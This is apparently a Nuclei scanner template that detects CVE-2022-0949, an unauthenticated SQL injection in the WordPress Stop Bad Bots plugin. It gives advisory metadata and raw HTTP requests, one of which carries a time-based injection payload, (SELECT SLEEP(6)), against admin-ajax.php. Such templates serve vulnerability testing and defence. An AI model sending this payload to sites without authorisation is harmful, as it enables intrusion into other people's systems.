id: CVE-2022-0949 info: name: WordPress Stop Bad Bots <6.930 - SQL Injection author: theamanrawat severity: critical description: | WordPress Stop Bad Bots plugin before 6.930 contains a SQL injection vulnerability. The plugin does not properly sanitise and escape the fingerprint parameter before using it in a SQL statement via the stopbadbots_grava_fingerprint AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage. remediation: Fixed in version 6.930. reference: - https://wpscan.com/vulnerability/a0fbb79a-e160-49df-9cf2-18ab64ea66cb - https://wordpress.org/plugins/stopbadbots/ - https://nvd.nist.gov/vuln/detail/CVE-2022-0949 - https://github.com/ARPSyndicate/cvemon - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-0949 cwe-id: CWE-89 epss-score: 0.04043 epss-percentile: 0.91894 cpe: cpe:2.3:a:stopbadbots:block_and_stop_bad_bots:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 3 vendor: stopbadbots product: block_and_stop_bad_bots framework: wordpress tags: cve,cve2022,stopbadbots,wp-plugin,wp,unauth,wpscan,sqli,wordpress variables: IP: '{{rand_ip("1.1.1.0/24")}}' http: - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} X-Real-IP: {{IP}} Content-Type: application/x-www-form-urlencoded action=stopbadbots_grava_fingerprint&fingerprint=0 - | @timeout 10s POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} X-Real-IP: {{IP}} Content-Type: application/x-www-form-urlencoded action=stopbadbots_grava_fingerprint&fingerprint=(SELECT SLEEP(6)) - | GET /wp-content/plugins/stopbadbots/assets/js/stopbadbots.js HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'duration_2>=6' - 'status_code_2 == 200' - 'contains(body_3, "commentform")' condition: and # digest: 4a0a004730450221009e46e7428c959e0b3480658a00e0a29e457a923114b749eb990552af2bcbb63102201d59805ee70142e2c08631780022d7fb2b0422d7a8099c53176239a8a5e3a374:922c64590222798bb761d5b6d8e72950